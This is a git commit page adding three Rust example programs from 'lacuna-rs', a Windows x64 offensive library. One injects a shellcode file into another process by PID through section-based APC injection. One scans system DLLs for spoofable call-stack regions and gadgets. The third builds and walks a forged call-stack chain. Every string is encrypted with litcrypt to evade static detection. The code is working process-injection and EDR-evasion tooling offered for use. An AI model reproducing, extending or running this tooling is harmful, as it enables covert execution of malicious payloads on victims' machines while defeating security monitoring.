Initial commit: lacuna-rs - Ghost-frame call-stack spoofing + indirect syscalls for Windows x64

This commit is contained in:
Karkas66
2026-07-02 09:22:21 +02:00
commit ef7a81cb30
18 changed files with 3653 additions and 0 deletions
+73
View File
@@ -0,0 +1,73 @@
//
// examples/inject.rs — Section-based APC injection
//
// Equivalent to: lacuna.exe inject <pid> <sc.bin> [--verbose]
//
// Run with: cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
#[allow(unused_imports)]
use std::env;
#[allow(unused_imports)]
use std::fs;
#[allow(unused_imports)]
use std::process;
#[cfg(not(feature = "inject"))]
fn main() {
eprintln!("{}", lc!("inject requires the 'inject' feature:"));
eprintln!("{}", lc!(" cargo run --example inject --features inject -- <pid> <sc.bin> [--verbose]"));
}
#[cfg(feature = "inject")]
fn main() {
let args: Vec<String> = env::args().collect();
if args.len() < 3 {
eprintln!("{}", lc!("usage: inject <pid> <sc.bin> [--verbose]"));
process::exit(1);
}
let pid: u32 = args[1].parse().unwrap_or_else(|_| {
eprintln!("{}", lc!("[-] bad pid"));
process::exit(1);
});
let sc = fs::read(&args[2]).unwrap_or_else(|e| {
eprintln!("{}{}: {}", lc!("[-] can't open "), args[2], e);
process::exit(1);
});
let verbose = args.iter().any(|a| a == "--verbose");
println!("{}{}{}{}{}\n",
lc!("[*] "), sc.len(),
lc!(" bytes -> pid "), pid,
if verbose { lc!(" [verbose]") } else { lc!("") });
// Build the ghost-frame chain first (if stack-spoof is enabled).
// This must happen before inject_sapc so the VEH full_spoof path
// has ghost layer addresses to work with.
#[cfg(feature = "stack-spoof")]
{
if !lacuna::chain::build_chain() {
eprintln!("{}", lc!("[-] build_chain failed — continuing without stack spoofing"));
}
}
// VEH registration is now handled inside inject_sapc_verbose(), matching
// the C original's ordering:
// 1. param_encrypt_veh registered before NtOpenProcess
// 2. chain_veh registered after NtOpenProcess succeeds
match lacuna::inject::inject_sapc_verbose(pid, &sc, verbose) {
Ok(()) => println!("\n{}", lc!("[+] injection done")),
Err(status) => {
println!("\n{}{:08x}", lc!("[-] injection failed: status "), status);
process::exit(1);
}
}
}
+101
View File
@@ -0,0 +1,101 @@
//
// examples/scan.rs — Scan all target modules for ghost regions + gadgets
//
// Equivalent to: lacuna.exe scan
//
// Run with: cargo run --example scan
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
use lacuna::{scan_all, scan, win::get_module};
fn main() {
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
println!("{}\n", lc!("Rust port — scan mode"));
let summary = scan_all();
for m in &summary.modules {
println!("{}{}{}{}", m.name, lc!(""), m.ghost_count, lc!(" ghost regions"));
// Re-scan to print details (scan_all only returns the count).
let mut buf = [scan::Ghost {
va_start: 0, va_end: 0, size: 0, export_va: 0, dist: 0, name: [0; 64],
}; 512];
let mod_name: &[u8] = if m.name.starts_with("ntdll") {
b"ntdll.dll\0"
} else if m.name.starts_with("kernelbase") {
b"kernelbase.dll\0"
} else if m.name.starts_with("wow64") {
b"wow64.dll\0"
} else {
b"win32u.dll\0"
};
let h = get_module(mod_name);
if h.is_null() {
continue;
}
let targets: &[&[u8]] = match m.name.as_str() {
"ntdll.dll" => &[
b"NtAllocateVirtualMemory\0", b"NtCreateThreadEx\0",
b"RtlCreateUserThread\0", b"LdrLoadDll\0", b"RtlUserThreadStart\0",
],
"kernelbase.dll" => &[
b"VirtualProtect\0", b"VirtualAllocEx\0",
b"WriteProcessMemory\0", b"CreateRemoteThreadEx\0",
],
"wow64.dll" => &[
b"Wow64PrepareForException\0", b"Wow64KiUserCallbackDispatcher\0",
b"Wow64ApcRoutine\0",
],
_ => &[
b"NtGdiDdDDICreateDevice\0", b"NtUserCallNoParam\0",
],
};
let n = scan::scan_ghosts(h, targets, &mut buf);
for j in 0..n.min(25) {
let g = &buf[j];
let name = g.name.iter().take_while(|&&b| b != 0)
.map(|&b| b as char).collect::<String>();
println!(
"{}{:016x}{}{:016x}{}{:4}{}{:30}{}{}",
lc!(" "),
g.va_start,
lc!(""),
g.va_end,
lc!(" "),
g.size,
lc!("B "),
if name.is_empty() { lc!("") } else { name },
lc!(" dist="),
g.dist
);
}
if n > 25 {
println!("{}{}{}", lc!(" ... "), n - 25, lc!(" more"));
}
let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32];
let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg);
if ngg > 0 {
println!("{}", lc!(" ghost gadgets (jmp [rbx]):"));
for j in 0..ngg {
println!("{}{:016x}", lc!(" "), gg[j].va);
}
}
if m.name == "win32u.dll" {
println!("{}{:016x}", lc!(" first nop gap: "), m.win32u_nop_gap);
}
println!();
}
}
+31
View File
@@ -0,0 +1,31 @@
//
// examples/verify.rs — Build the LACUNA chain and walk it
//
// Equivalent to: lacuna.exe verify
//
// Run with: cargo run --example verify --features stack-spoof
//
#[macro_use]
extern crate litcrypt2;
extern crate alloc;
use_litcrypt!();
#[cfg(not(feature = "stack-spoof"))]
fn main() {
eprintln!("{}", lc!("verify requires the 'stack-spoof' feature:"));
eprintln!("{}", lc!(" cargo run --example verify --features stack-spoof"));
}
#[cfg(feature = "stack-spoof")]
fn main() {
println!("{}", lc!("LACUNA Chain — Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae"));
println!("{}\n", lc!("Rust port — verify mode"));
if !lacuna::chain::build_chain() {
eprintln!("{}", lc!("[-] build_chain failed"));
std::process::exit(1);
}
let _ok = lacuna::chain::walk_chain();
}